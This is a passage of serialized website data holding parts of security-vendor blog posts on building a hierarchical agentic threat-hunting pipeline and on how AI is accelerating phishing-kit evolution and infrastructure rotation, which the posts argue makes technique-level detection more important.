domain.\"",{"data":12588,"content":12589,"nodeType":866},{},[12590],{"data":12591,"marks":12592,"value":12593,"nodeType":865},{},[],"Our knowledge base encodes behavioral patterns and TTP signatures instead, which means detections remain effective even as infrastructure rotates underneath them.",{"data":12595,"content":12596,"nodeType":866},{},[12597],{"data":12598,"marks":12599,"value":12600,"nodeType":865},{},[],"We've also learned that even high-quality security data isn’t AI-ready out of the box. Structuring data and knowledge for agent consumption requires dedicated engineering. ",{"data":12602,"content":12603,"nodeType":866},{},[12604],{"data":12605,"marks":12606,"value":12607,"nodeType":865},{},[],"Our researchers have spent that time identifying, naming, and documenting browser-based attack techniques and encoding that knowledge into a format that agents can operationalize and extend.",{"data":12609,"content":12610,"nodeType":1229},{},[12611],{"data":12612,"marks":12613,"value":12614,"nodeType":865},{},[],"Component 3: The thoughtfully organized agents",{"data":12616,"content":12617,"nodeType":866},{},[12618,12622,12627],{"data":12619,"marks":12620,"value":12621,"nodeType":865},{},[],"The engineering challenge isn't getting a model to analyze one browser event — it's keeping it reliable across thousands of events. If you fill a context window with too much data and the model loses the ability to discern signal from noise, you get something called ",{"data":12623,"marks":12624,"value":12626,"nodeType":865},{},[12625],{"type":935},"context rot",{"data":12628,"marks":12629,"value":12630,"nodeType":865},{},[],". That's been our primary engineering focus over the last quarter: not making agents objectively smarter, but keeping them focused to improve their outputs.",{"data":12632,"content":12633,"nodeType":866},{},[12634],{"data":12635,"marks":12636,"value":12637,"nodeType":865},{},[],"Our solution is hierarchy. A hunting agent oversees the overall hunt — it understands the query and knows what it's looking for. It dispatches an army of analysis agents, each picking up a single result trace, the term we use for a series of events in a session or tab context. ",{"data":12639,"content":12640,"nodeType":866},{},[12641],{"data":12642,"marks":12643,"value":12644,"nodeType":865},{},[],"But even a single trace can contain thousands of events, so each analysis agent breaks it down into blocks, analyzes and summarizes each one, looks for connections between them, and then bubbles up only the interesting signal. Layer by layer, the context narrows until what reaches the top is workable.",{"data":12646,"content":12647,"nodeType":866},{},[12648],{"data":12649,"marks":12650,"value":12651,"nodeType":865},{},[],"Different agents handle hypothesis generation, query crafting, triage, deep investigation, detection authoring, and meta-analysis for quality control. We back-test detections against real data before they ship. This segmentation and hierarchy took significant trial and error — you can swap out almost any individual model in the chain, but the hierarchy itself is the thing that ultimately makes it work.",{"data":12653,"content":12654,"nodeType":866},{},[12655],{"data":12656,"marks":12657,"value":12658,"nodeType":865},{},[],"The consensus coming out of RSAC this year reinforces this approach. The industry's focus has shifted from “which model is the best?” to “how do we build reliable systems around these models?” ",{"data":12660,"content":12664,"nodeType":921},{"target":12661},{"sys":12662},{"id":12663,"type":918,"linkType":919},"4cXhgVflbtxiKs604aemSt",[],{"data":12666,"content":12667,"nodeType":1229},{},[12668],{"data":12669,"marks":12670,"value":12671,"nodeType":865},{},[],"Component 4: The response engine",{"data":12673,"content":12674,"nodeType":866},{},[12675],{"data":12676,"marks":12677,"value":12678,"nodeType":865},{},[],"Finally, a hunt without a response you can operationalize is just a report. When our agents identify a new technique, the detection they write feeds directly into the same platform that enforces real-time controls in the browser: blocking credential entry on phishing pages, intercepting clipboard injection attacks, warning users during suspicious OAuth consent flows, etc.",{"data":12680,"content":12681,"nodeType":866},{},[12682],{"data":12683,"marks":12684,"value":12685,"nodeType":865},{},[],"Detection and response share the same infrastructure, which means a new technique can go seamlessly from hunt analysis to production enforcement.",{"data":12687,"content":12691,"nodeType":921},{"target":12688},{"sys":12689},{"id":12690,"type":918,"linkType":919},"vIrkHJ4ec1I41nXeRHfT2",[],{"data":12693,"content":12694,"nodeType":944},{},[],{"data":12696,"content":12697,"nodeType":953},{},[12698],{"data":12699,"marks":12700,"value":12701,"nodeType":865},{},[],"Learn more about Push and how we develop new detections",{"data":12703,"content":12704,"nodeType":866},{},[12705,12709,12716],{"data":12706,"marks":12707,"value":12708,"nodeType":865},{},[],"For a deeper look at how the pipeline works in practice, including a step-by-step walkthrough of how we discovered a novel InstallFix attack targeting NotebookLM users, the two-loop detection architecture that creates a compounding effect for customers, and the emerging best practices we've identified for using AI agents in security operations, check out our companion article: ",{"data":12710,"content":12711,"nodeType":889},{"uri":12205},[12712],{"data":12713,"marks":12714,"value":12715,"nodeType":865},{},[],"Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline at Push",{"data":12717,"marks":12718,"value":1066,"nodeType":865},{},[],{"data":12720,"content":12721,"nodeType":866},{},[12722,12726,12732],{"data":12723,"marks":12724,"value":12725,"nodeType":865},{},[],"If you'd like to see how our agentic detection capabilities apply to your environment, ",{"data":12727,"content":12728,"nodeType":889},{"uri":2644},[12729],{"data":12730,"marks":12731,"value":6266,"nodeType":865},{},[],{"data":12733,"marks":12734,"value":1066,"nodeType":865},{},[],"No, you can’t just vibecode an AI-driven threat hunting pipeline","Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.","2026-06-02T00:00:00.000Z","why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline",{"items":12740},[12741,12743],{"sys":12742,"name":297},{"id":11028},{"sys":12744,"name":2663},{"id":2662},{"items":12746},[12747],{"fullName":11082,"firstName":11083,"jobTitle":11084,"profilePicture":12748},{"url":11086},{"__typename":1802,"sys":12750,"content":12751,"title":845,"synopsis":5636,"hashTags":59,"publishedDate":1798,"slug":5623,"tagsCollection":13420,"authorsCollection":13426},{"id":5638},{"json":12752},{"data":12753,"content":12754,"nodeType":1663},{},[12755,12761,12767,12791,12797,12802,12807,12817,12820,12827,12840,12846,12851,12857,12863,12868,12871,12878,12884,12889,12894,12900,12906,12921,12926,12929,12936,12951,12956,12962,12965,12972,12978,12984,12989,12994,13028,13034,13037,13044,13050,13056,13089,13095,13119,13125,13158,13164,13167,13174,13189,13195,13202,13215,13221,13236,13242,13245,13251,13257,13273,13276,13283,13298,13304,13414],{"data":12756,"content":12757,"nodeType":866},{},[12758],{"data":12759,"marks":12760,"value":864,"nodeType":865},{},[],{"data":12762,"content":12763,"nodeType":866},{},[12764],{"data":12765,"marks":12766,"value":873,"nodeType":865},{},[],{"data":12768,"content":12769,"nodeType":866},{},[12770,12773,12779,12782,12788],{"data":12771,"marks":12772,"value":880,"nodeType":865},{},[],{"data":12774,"content":12775,"nodeType":889},{"uri":883},[12776],{"data":12777,"marks":12778,"value":888,"nodeType":865},{},[],{"data":12780,"marks":12781,"value":893,"nodeType":865},{},[],{"data":12783,"content":12784,"nodeType":889},{"uri":896},[12785],{"data":12786,"marks":12787,"value":901,"nodeType":865},{},[],{"data":12789,"marks":12790,"value":905,"nodeType":865},{},[],{"data":12792,"content":12793,"nodeType":866},{},[12794],{"data":12795,"marks":12796,"value":912,"nodeType":865},{},[],{"data":12798,"content":12801,"nodeType":921},{"target":12799},{"sys":12800},{"id":917,"type":918,"linkType":919},[],{"data":12803,"content":12806,"nodeType":921},{"target":12804},{"sys":12805},{"id":926,"type":918,"linkType":919},[],{"data":12808,"content":12809,"nodeType":866},{},[12810,12814],{"data":12811,"marks":12812,"value":936,"nodeType":865},{},[12813],{"type":935},{"data":12815,"marks":12816,"value":940,"nodeType":865},{},[],{"data":12818,"content":12819,"nodeType":944},{},[],{"data":12821,"content":12822,"nodeType":953},{},[12823],{"data":12824,"marks":12825,"value":952,"nodeType":865},{},[12826],{"type":935},{"data":12828,"content":12829,"nodeType":866},{},[12830,12833,12837],{"data":12831,"marks":12832,"value":960,"nodeType":865},{},[],{"data":12834,"marks":12835,"value":966,"nodeType":865},{},[12836],{"type":965},{"data":12838,"marks":12839,"value":970,"nodeType":865},{},[],{"data":12841,"content":12842,"nodeType":866},{},[12843],{"data":12844,"marks":12845,"value":977,"nodeType":865},{},[],{"data":12847,"content":12850,"nodeType":921},{"target":12848},{"sys":12849},{"id":982,"type":918,"linkType":919},[],{"data":12852,"content":12853,"nodeType":866},{},[12854],{"data":12855,"marks":12856,"value":990,"nodeType":865},{},[],{"data":12858,"content":12859,"nodeType":866},{},[12860],{"data":12861,"marks":12862,"value":997,"nodeType":865},{},[],{"data":12864,"content":12867,"nodeType":921},{"target":12865},{"sys":12866},{"id":1002,"type":918,"linkType":919},[],{"data":12869,"content":12870,"nodeType":944},{},[],{"data":12872,"content":12873,"nodeType":953},{},[12874],{"data":12875,"marks":12876,"value":1014,"nodeType":865},{},[12877],{"type":935},{"data":12879,"content":12880,"nodeType":866},{},[12881],{"data":12882,"marks":12883,"value":1021,"nodeType":865},{},[],{"data":12885,"content":12888,"nodeType":921},{"target":12886},{"sys":12887},{"id":1026,"type":918,"linkType":919},[],{"data":12890,"content":12893,"nodeType":921},{"target":12891},{"sys":12892},{"id":1032,"type":918,"linkType":919},[],{"data":12895,"content":12896,"nodeType":866},{},[12897],{"data":12898,"marks":12899,"value":1040,"nodeType":865},{},[],{"data":12901,"content":12902,"nodeType":866},{},[12903],{"data":12904,"marks":12905,"value":1047,"nodeType":865},{},[],{"data":12907,"content":12908,"nodeType":866},{},[12909,12912,12918],{"data":12910,"marks":12911,"value":1054,"nodeType":865},{},[],{"data":12913,"content":12914,"nodeType":889},{"uri":1057},[12915],{"data":12916,"marks":12917,"value":1062,"nodeType":865},{},[],{"data":12919,"marks":12920,"value":1066,"nodeType":865},{},[],{"data":12922,"content":12925,"nodeType":921},{"target":12923},{"sys":12924},{"id":1071,"type":918,"linkType":919},[],{"data":12927,"content":12928,"nodeType":944},{},[],{"data":12930,"content":12931,"nodeType":953},{},[12932],{"data":12933,"marks":12934,"value":1083,"nodeType":865},{},[12935],{"type":935},{"data":12937,"content":12938,"nodeType":866},{},[12939,12942,12948],{"data":12940,"marks":12941,"value":1090,"nodeType":865},{},[],{"data":12943,"content":12944,"nodeType":889},{"uri":883},[12945],{"data":12946,"marks":12947,"value":1097,"nodeType":865},{},[],{"data":12949,"marks":12950,"value":1101,"nodeType":865},{},[],{"data":12952,"content":12955,"nodeType":921},{"target":12953},{"sys":12954},{"id":1106,"type":918,"linkType":919},[],{"data":12957,"content":12958,"nodeType":866},{},[12959],{"data":12960,"marks":12961,"value":1114,"nodeType":865},{},[],{"data":12963,"content":12964,"nodeType":944},{},[],{"data":12966,"content":12967,"nodeType":953},{},[12968],{"data":12969,"marks":12970,"value":1125,"nodeType":865},{},[12971],{"type":935},{"data":12973,"content":12974,"nodeType":866},{},[12975],{"data":12976,"marks":12977,"value":1132,"nodeType":865},{},[],{"data":12979,"content":12980,"nodeType":866},{},[12981],{"data":12982,"marks":12983,"value":1139,"nodeType":865},{},[],{"data":12985,"content":12988,"nodeType":921},{"target":12986},{"sys":12987},{"id":1144,"type":918,"linkType":919},[],{"data":12990,"content":12993,"nodeType":921},{"target":12991},{"sys":12992},{"id":1150,"type":918,"linkType":919},[],{"data":12995,"content":12996,"nodeType":866},{},[12997,13000,13006,13009,13015,13018,13025],{"data":12998,"marks":12999,"value":1158,"nodeType":865},{},[],{"data":13001,"content":13002,"nodeType":889},{"uri":1161},[13003],{"data":13004,"marks":13005,"value":1166,"nodeType":865},{},[],{"data":13007,"marks":13008,"value":1170,"nodeType":865},{},[],{"data":13010,"content":13011,"nodeType":889},{"uri":1173},[13012],{"data":13013,"marks":13014,"value":1178,"nodeType":865},{},[],{"data":13016,"marks":13017,"value":1182,"nodeType":865},{},[],{"data":13019,"content":13020,"nodeType":889},{"uri":1185},[13021],{"data":13022,"marks":13023,"value":1192,"nodeType":865},{},[13024],{"type":1191},{"data":13026,"marks":13027,"value":1196,"nodeType":865},{},[],{"data":13029,"content":13030,"nodeType":866},{},[13031],{"data":13032,"marks":13033,"value":1203,"nodeType":865},{},[],{"data":13035,"content":13036,"nodeType":944},{},[],{"data":13038,"content":13039,"nodeType":953},{},[13040],{"data":13041,"marks":13042,"value":1214,"nodeType":865},{},[13043],{"type":935},{"data":13045,"content":13046,"nodeType":866},{},[13047],{"data":13048,"marks":13049,"value":1221,"nodeType":865},{},[],{"data":13051,"content":13052,"nodeType":1229},{},[13053],{"data":13054,"marks":13055,"value":1228,"nodeType":865},{},[],{"data":13057,"content":13058,"nodeType":866},{},[13059,13062,13068,13071,13077,13080,13086],{"data":13060,"marks":13061,"value":1236,"nodeType":865},{},[],{"data":13063,"content":13064,"nodeType":889},{"uri":1239},[13065],{"data":13066,"marks":13067,"value":1244,"nodeType":865},{},[],{"data":13069,"marks":13070,"value":1248,"nodeType":865},{},[],{"data":13072,"content":13073,"nodeType":889},{"uri":1251},[13074],{"data":13075,"marks":13076,"value":1256,"nodeType":865},{},[],{"data":13078,"marks":13079,"value":1260,"nodeType":865},{},[],{"data":13081,"content":13082,"nodeType":889},{"uri":1263},[13083],{"data":13084,"marks":13085,"value":1268,"nodeType":865},{},[],{"data":13087,"marks":13088,"value":1272,"nodeType":865},{},[],{"data":13090,"content":13091,"nodeType":1229},{},[13092],{"data":13093,"marks":13094,"value":1279,"nodeType":865},{},[],{"data":13096,"content":13097,"nodeType":866},{},[13098,13101,13107,13110,13116],{"data":13099,"marks":13100,"value":1286,"nodeType":865},{},[],{"data":13102,"content":13103,"nodeType":889},{"uri":1289},[13104],{"data":13105,"marks":13106,"value":1294,"nodeType":865},{},[],{"data":13108,"marks":13109,"value":1298,"nodeType":865},{},[],{"data":13111,"content":13112,"nodeType":889},{"uri":1301},[13113],{"data":13114,"marks":13115,"value":1306,"nodeType":865},{},[],{"data":13117,"marks":13118,"value":1310,"nodeType":865},{},[],{"data":13120,"content":13121,"nodeType":1229},{},[13122],{"data":13123,"marks":13124,"value":1317,"nodeType":865},{},[],{"data":13126,"content":13127,"nodeType":866},{},[13128,13131,13137,13140,13146,13149,13155],{"data":13129,"marks":13130,"value":1324,"nodeType":865},{},[],{"data":13132,"content":13133,"nodeType":889},{"uri":1327},[13134],{"data":13135,"marks":13136,"value":1332,"nodeType":865},{},[],{"data":13138,"marks":13139,"value":1336,"nodeType":865},{},[],{"data":13141,"content":13142,"nodeType":889},{"uri":1339},[13143],{"data":13144,"marks":13145,"value":1344,"nodeType":865},{},[],{"data":13147,"marks":13148,"value":1348,"nodeType":865},{},[],{"data":13150,"content":13151,"nodeType":889},{"uri":1351},[13152],{"data":13153,"marks":13154,"value":1356,"nodeType":865},{},[],{"data":13156,"marks":13157,"value":1360,"nodeType":865},{},[],{"data":13159,"content":13160,"nodeType":866},{},[13161],{"data":13162,"marks":13163,"value":1367,"nodeType":865},{},[],{"data":13165,"content":13166,"nodeType":944},{},[],{"data":13168,"content":13169,"nodeType":953},{},[13170],{"data":13171,"marks":13172,"value":1378,"nodeType":865},{},[13173],{"type":935},{"data":13175,"content":13176,"nodeType":866},{},[13177,13180,13186],{"data":13178,"marks":13179,"value":1385,"nodeType":865},{},[],{"data":13181,"content":13182,"nodeType":889},{"uri":1388},[13183],{"data":13184,"marks":13185,"value":1393,"nodeType":865},{},[],{"data":13187,"marks":13188,"value":1397,"nodeType":865},{},[],{"data":13190,"content":13191,"nodeType":866},{},[13192],{"data":13193,"marks":13194,"value":1404,"nodeType":865},{},[],{"data":13196,"content":13197,"nodeType":1229},{},[13198],{"data":13199,"marks":13200,"value":1412,"nodeType":865},{},[13201],{"type":935},{"data":13203,"content":13204,"nodeType":866},{},[13205,13208,13212],{"data":13206,"marks":13207,"value":1419,"nodeType":865},{},[],{"data":13209,"marks":13210,"value":1424,"nodeType":865},{},[13211],{"type":935},{"data":13213,"marks":13214,"value":1428,"nodeType":865},{},[],{"data":13216,"content":13217,"nodeType":866},{},[13218],{"data":13219,"marks":13220,"value":1435,"nodeType":865},{},[],{"data":13222,"content":13223,"nodeType":866},{},[13224,13227,13233],{"data":13225,"marks":13226,"value":1442,"nodeType":865},{},[],{"data":13228,"content":13229,"nodeType":889},{"uri":1445},[13230],{"data":13231,"marks":13232,"value":1450,"nodeType":865},{},[],{"data":13234,"marks":13235,"value":1454,"nodeType":865},{},[],{"data":13237,"content":13238,"nodeType":866},{},[13239],{"data":13240,"marks":13241,"value":1461,"nodeType":865},{},[],{"data":13243,"content":13244,"nodeType":944},{},[],{"data":13246,"content":13247,"nodeType":866},{},[13248],{"data":13249,"marks":13250,"value":1471,"nodeType":865},{},[],{"data":13252,"content":13253,"nodeType":866},{},[13254],{"data":13255,"marks":13256,"value":1478,"nodeType":865},{},[],{"data":13258,"content":13259,"nodeType":866},{},[13260,13263,13270],{"data":13261,"marks":13262,"value":21,"nodeType":865},{},[],{"data":13264,"content":13265,"nodeType":889},{"uri":1487},[13266],{"data":13267,"marks":13268,"value":1493,"nodeType":865},{},[13269],{"type":1191},{"data":13271,"marks":13272,"value":21,"nodeType":865},{},[],{"data":13274,"content":13275,"nodeType":944},{},[],{"data":13277,"content":13278,"nodeType":953},{},[13279],{"data":13280,"marks":13281,"value":1507,"nodeType":865},{},[13282],{"type":935},{"data":13284,"content":13285,"nodeType":866},{},[13286,13289,13295],{"data":13287,"marks":13288,"value":1514,"nodeType":865},{},[],{"data":13290,"content":13291,"nodeType":889},{"uri":1517},[13292],{"data":13293,"marks":13294,"value":1522,"nodeType":865},{},[],{"data":13296,"marks":13297,"value":1526,"nodeType":865},{},[],{"data":13299,"content":13300,"nodeType":866},{},[13301],{"data":13302,"marks":13303,"value":1533,"nodeType":865},{},[],{"data":13305,"content":13306,"nodeType":1656},{},[13307,13330,13351,13372,13393],{"data":13308,"content":13309,"nodeType":1563},{},[13310,13320],{"data":13311,"content":13312,"nodeType":1551},{},[13313],{"data":13314,"content":13315,"nodeType":866},{},[13316],{"data":13317,"marks":13318,"value":1550,"nodeType":865},{},[13319],{"type":935},{"data":13321,"content":13322,"nodeType":1551},{},[13323],{"data":13324,"content":13325,"nodeType":866},{},[13326],{"data":13327,"marks":13328,"value":1562,"nodeType":865},{},[13329],{"type":935},{"data":13331,"content":13332,"nodeType":1563},{},[13333,13342],{"data":13334,"content":13335,"nodeType":1577},{},[13336],{"data":13337,"content":13338,"nodeType":866},{},[13339],{"data":13340,"marks":13341,"value":1576,"nodeType":865},{},[],{"data":13343,"content":13344,"nodeType":1577},{},[13345],{"data":13346,"content":13347,"nodeType":866},{},[13348],{"data":13349,"marks":13350,"value":1587,"nodeType":865},{},[],{"data":13352,"content":13353,"nodeType":1563},{},[13354,13363],{"data":13355,"content":13356,"nodeType":1577},{},[13357],{"data":13358,"content":13359,"nodeType":866},{},[13360],{"data":13361,"marks":13362,"value":1600,"nodeType":865},{},[],{"data":13364,"content":13365,"nodeType":1577},{},[13366],{"data":13367,"content":13368,"nodeType":866},{},[13369],{"data":13370,"marks":13371,"value":1587,"nodeType":865},{},[],{"data":13373,"content":13374,"nodeType":1563},{},[13375,13384],{"data":13376,"content":13377,"nodeType":1577},{},[13378],{"data":13379,"content":13380,"nodeType":866},{},[13381],{"data":13382,"marks":13383,"value":1622,"nodeType":865},{},[],{"data":13385,"content":13386,"nodeType":1577},{},[13387],{"data":13388,"content":13389,"nodeType":866},{},[13390],{"data":13391,"marks":13392,"value":1632,"nodeType":865},{},[],{"data":13394,"content":13395,"nodeType":1563},{},[13396,13405],{"data":13397,"content":13398,"nodeType":1577},{},[13399],{"data":13400,"content":13401,"nodeType":866},{},[13402],{"data":13403,"marks":13404,"value":1645,"nodeType":865},{},[],{"data":13406,"content":13407,"nodeType":1577},{},[13408],{"data":13409,"content":13410,"nodeType":866},{},[13411],{"data":13412,"marks":13413,"value":1655,"nodeType":865},{},[],{"data":13415,"content":13416,"nodeType":866},{},[13417],{"data":13418,"marks":13419,"value":21,"nodeType":865},{},[],{"items":13421},[13422,13424],{"sys":13423,"name":2663},{"id":2662},{"sys":13425,"name":342},{"id":2666},{"items":13427},[13428],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":13429},{"url":853},{"__typename":1802,"sys":13431,"content":13433,"title":14180,"synopsis":14181,"hashTags":59,"publishedDate":14182,"slug":14183,"tagsCollection":14184,"authorsCollection":14190},{"id":13432},"5RDOpmzJolwT1hk0fNIxzf",{"json":13434},{"data":13435,"content":13436,"nodeType":1663},{},[13437,13456,13462,13469,13476,13479,13487,13506,13525,13532,13538,13545,13551,13558,13566,13573,13591,13622,13628,13634,13642,13649,13667,13697,13729,13736,13741,13749,13756,13767,13774,13813,13818,13858,13895,13901,13904,13912,13919,13925,13932,13939,13945,13952,13959,13981,13984,13992,13999,14007,14014,14021,14040,14047,14053,14060,14068,14075,14092,14099,14116,14119,14127,14134,14141,14148,14151,14157,14163],{"data":13438,"content":13439,"nodeType":866},{},[13440,13444,13452],{"data":13441,"marks":13442,"value":13443,"nodeType":865},{},[],"Back in 2024, we wrote about ",{"data":13445,"content":13447,"nodeType":889},{"uri":13446},"https://pushsecurity.com/blog/our-design-philosophy-detecting-what-matters/",[13448],{"data":13449,"marks":13450,"value":13451,"nodeType":865},{},[],"how the Pyramid of Pain shapes Push's detection philosophy",{"data":13453,"marks":13454,"value":13455,"nodeType":865},{},[]," — detections targeting indicators that are easy for attackers to change deliver diminishing returns, while detections targeting attacker techniques impose a cost that's hard to absorb. Two years on, every force that made IoC-based detection fragile has intensified.",{"data":13457,"content":13461,"nodeType":921},{"target":13458},{"sys":13459},{"id":13460,"type":918,"linkType":919},"1iuLYxwI8T1wDUIFSom0G0",[],{"data":13463,"content":13464,"nodeType":866},{},[13465],{"data":13466,"marks":13467,"value":13468,"nodeType":865},{},[],"AI hasn't introduced a new problem so much as it's compressed the timelines on an existing one — attackers can generate infrastructure, iterate on tooling, and industrialize newly discovered techniques faster than before. The bottom layers of the Pyramid are collapsing under the weight of machine-speed operations, and the middle layers are starting to buckle too.",{"data":13470,"content":13471,"nodeType":866},{},[13472],{"data":13473,"marks":13474,"value":13475,"nodeType":865},{},[],"These changes mean that technique-level detection is more important than ever. In this article, we’ll dig into how the Pyramid is changing, and what this means for our detection philosophy at Push (TL;DR — it reinforces the path we’re already on: building detections at the top of the Pyramid by harnessing browser visibility). ",{"data":13477,"content":13478,"nodeType":944},{},[],{"data":13480,"content":13481,"nodeType":953},{},[13482],{"data":13483,"marks":13484,"value":13486,"nodeType":865},{},[13485],{"type":935},"The bottom of the Pyramid was already crumbling",{"data":13488,"content":13489,"nodeType":866},{},[13490,13494,13502],{"data":13491,"marks":13492,"value":13493,"nodeType":865},{},[],"The case against indicator-based detection didn't need AI to be compelling. ",{"data":13495,"content":13497,"nodeType":889},{"uri":13496},"https://www.spamhaus.org/",[13498],{"data":13499,"marks":13500,"value":13501,"nodeType":865},{},[],"89% of phishing domains are active for fewer than two days",{"data":13503,"marks":13504,"value":13505,"nodeType":865},{},[],", with just 6.5% surviving past 15 days — by the time a domain makes it onto a blocklist, the campaign has moved on.",{"data":13507,"content":13508,"nodeType":866},{},[13509,13513,13521],{"data":13510,"marks":13511,"value":13512,"nodeType":865},{},[],"We've ",{"data":13514,"content":13516,"nodeType":889},{"uri":13515},"https://pushsecurity.com/blog/why-most-phishing-attacks-feel-like-a-zero-day/",[13517],{"data":13518,"marks":13519,"value":13520,"nodeType":865},{},[],"written before",{"data":13522,"marks":13523,"value":13524,"nodeType":865},{},[]," about how this makes every phishing attack effectively a zero-day for organizations relying on known-bad detection. The phishing kit's behavior — its page structure, script signatures, malicious payload mechanics — is the only detection target that outlasts a single campaign.",{"data":13526,"content":13527,"nodeType":866},{},[13528],{"data":13529,"marks":13530,"value":13531,"nodeType":865},{},[],"When we blogged about the Pyramid of Pain for modern attacks that happen predominantly over the internet, with minimal (or zero) endpoint contact, it first looked like this: ",{"data":13533,"content":13537,"nodeType":921},{"target":13534},{"sys":13535},{"id":13536,"type":918,"linkType":919},"2N04ycJ6RKGfHdX5X1TwU3",[],{"data":13539,"content":13540,"nodeType":866},{},[13541],{"data":13542,"marks":13543,"value":13544,"nodeType":865},{},[],"Now, it looks more like this:",{"data":13546,"content":13550,"nodeType":921},{"target":13547},{"sys":13548},{"id":13549,"type":918,"linkType":919},"mfhP4WToOQkrHnVkXU0tX",[],{"data":13552,"content":13553,"nodeType":866},{},[13554],{"data":13555,"marks":13556,"value":13557,"nodeType":865},{},[],"Let’s explore why. ",{"data":13559,"content":13560,"nodeType":1229},{},[13561],{"data":13562,"marks":13563,"value":13565,"nodeType":865},{},[13564],{"type":935},"AI is accelerating phishing rotation and delivery",{"data":13567,"content":13568,"nodeType":866},{},[13569],{"data":13570,"marks":13571,"value":13572,"nodeType":865},{},[],"Attackers are harnessing AI at every stage, speeding up the process of creating, rotating, and replacing phishing infrastructure at every level, as well as capitalizing on AI adoption itself to enhance their lures. The operational signature is more domains, shorter lifespans, more variation, and fewer of the reuse patterns that blocklists depend on.",{"data":13574,"content":13575,"nodeType":866},{},[13576,13580,13587],{"data":13577,"marks":13578,"value":13579,"nodeType":865},{},[],"Attackers can ",{"data":13581,"content":13582,"nodeType":889},{"uri":1445},[13583],{"data":13584,"marks":13585,"value":13586,"nodeType":865},{},[],"vibe-code entire phishing pages in minutes",{"data":13588,"marks":13589,"value":13590,"nodeType":865},{},[]," — not just cloning legitimate login pages but vibe-cloning them, feeding an AI a screenshot and having it rebuild a convincing frontend with a completely unique backend. ",{"data":13592,"content":13593,"nodeType":866},{},[13594,13598,13607,13611,13618],{"data":13595,"marks":13596,"value":13597,"nodeType":865},{},[],"We've seen attackers clone free SaaS tools like background removers and PDF converters, then inject phishing components or ClickFix payloads into what looks like a functional utility. We’ve even seen attackers distributing malware using AI-generated pages shared using ",{"data":13599,"content":13601,"nodeType":889},{"uri":13600},"https://pushsecurity.com/blog/llmshare-malvertising-campaign/",[13602],{"data":13603,"marks":13604,"value":13606,"nodeType":865},{},[13605],{"type":1191},"LLM tool sharing functionality",{"data":13608,"marks":13609,"value":13610,"nodeType":865},{},[],", resulting in phishing delivery pages hosted on real claude.ai and chatgpt.com. And legitimate cloud platforms like ",{"data":13612,"content":13613,"nodeType":889},{"uri":6609},[13614],{"data":13615,"marks":13616,"value":13617,"nodeType":865},{},[],"Railway",{"data":13619,"marks":13620,"value":13621,"nodeType":865},{},[],", Cloudflare Workers, and Vercel host and dynamically rotate attack infrastructure, so the domains feeding into blocklists often belong to reputable services that can't simply be blocked. ",{"data":13623,"content":13627,"nodeType":921},{"target":13624},{"sys":13625},{"id":13626,"type":918,"linkType":919},"5yoLmqysyQazfzLITCUTfc",[],{"data":13629,"content":13633,"nodeType":921},{"target":13630},{"sys":13631},{"id":13632,"type":918,"linkType":919},"5XK5qZMQU19xlA8L2T5y0Z",[],{"data":13635,"content":13636,"nodeType":1229},{},[13637],{"data":13638,"marks":13639,"value":13641,"nodeType":865},{},[13640],{"type":935},"The kit ecosystem is fragmenting faster than anyone can track",{"data":13643,"content":13644,"nodeType":866},{},[13645],{"data":13646,"marks":13647,"value":13648,"nodeType":865},{},[],"What we see across our install base is a huge and growing variation in phishing kits — new kits, derivative kits of known platforms, derivatives of those derivatives — appearing on a weekly basis.",{"data":13650,"content":13651,"nodeType":866},{},[13652,13656,13663],{"data":13653,"marks":13654,"value":13655,"nodeType":865},{},[],"As we reported in our ",{"data":13657,"content":13658,"nodeType":889},{"uri":2609},[13659],{"data":13660,"marks":13661,"value":13662,"nodeType":865},{},[],"Browser Attacks Report",{"data":13664,"marks":13665,"value":13666,"nodeType":865},{},[],", the most common AiTM kits we detected over the last year were Tycoon 2FA (59% of detections), followed by Sneaky 2FA, FlowerStorm, Evilginx (nominally a red team tool, but widely abused by attackers), NakedPages, Gabagool, and dozens more — but those established names are just the visible layer.",{"data":13668,"content":13669,"nodeType":866},{},[13670,13674,13682,13686,13693],{"data":13671,"marks":13672,"value":13673,"nodeType":865},{},[],"Code is forked, modified, and redeployed across kits in a pattern that ",{"data":13675,"content":13677,"nodeType":889},{"uri":13676},"https://blog.barracuda.com/2026/04/16/threat-spotlight-tycoon-2fa-scattered-everywhere",[13678],{"data":13679,"marks":13680,"value":13681,"nodeType":865},{},[],"resembles open-source development",{"data":13683,"marks":13684,"value":13685,"nodeType":865},{},[]," more than traditional criminal enterprise, and the rate at which new variants appear is accelerating. The ",{"data":13687,"content":13688,"nodeType":889},{"uri":2169},[13689],{"data":13690,"marks":13691,"value":13692,"nodeType":865},{},[],"Venom kit",{"data":13694,"marks":13695,"value":13696,"nodeType":865},{},[]," reuses Sneaky 2FA's AiTM infrastructure but carries different branding and adds device code phishing — whether it's the same developers, stolen code, or a deliberate fork is unclear.",{"data":13698,"content":13699,"nodeType":866},{},[13700,13704,13712,13716,13725],{"data":13701,"marks":13702,"value":13703,"nodeType":865},{},[],"Tycoon 2FA illustrates the scale of the evolution. The kit evolves continuously, addingnew capabilities, new evasion techniques, and hybridizing with other platforms. Even when Sekoia and Microsoft seized 330+ Tycoon domains in March 2026, the techniques it popularized were already embedded across competitors, and the slack was taken up by rival platforms within days. And in any case, Tycoon was back to ",{"data":13705,"content":13707,"nodeType":889},{"uri":13706},"https://www.crowdstrike.com/en-us/blog/tycoon2fa-phishing-as-a-service-platform-persists-following-takedown/",[13708],{"data":13709,"marks":13710,"value":13711,"nodeType":865},{},[],"normal levels of operation",{"data":13713,"marks":13714,"value":13715,"nodeType":865},{},[]," shortly after. It has also been observed ",{"data":13717,"content":13719,"nodeType":889},{"uri":13718},"https://www.okta.com/en-nl/blog/threat-intelligence/tycoon_2fa_phishing_actors_scatter/",[13720],{"data":13721,"marks":13722,"value":13724,"nodeType":865},{},[13723],{"type":1191},"pivoting to add new device code phishing capabilities",{"data":13726,"marks":13727,"value":13728,"nodeType":865},{},[]," (more on that below). ",{"data":13730,"content":13731,"nodeType":866},{},[13732],{"data":13733,"marks":13734,"value":13735,"nodeType":865},{},[],"Tear one down and there are many more to take its place — and meanwhile the original is already evolving into something new.",{"data":13737,"content":13740,"nodeType":921},{"target":13738},{"sys":13739},{"id":8669,"type":918,"linkType":919},[],{"data":13742,"content":13743,"nodeType":1229},{},[13744],{"data":13745,"marks":13746,"value":13748,"nodeType":865},{},[13747],{"type":935},"New techniques are being industrialized 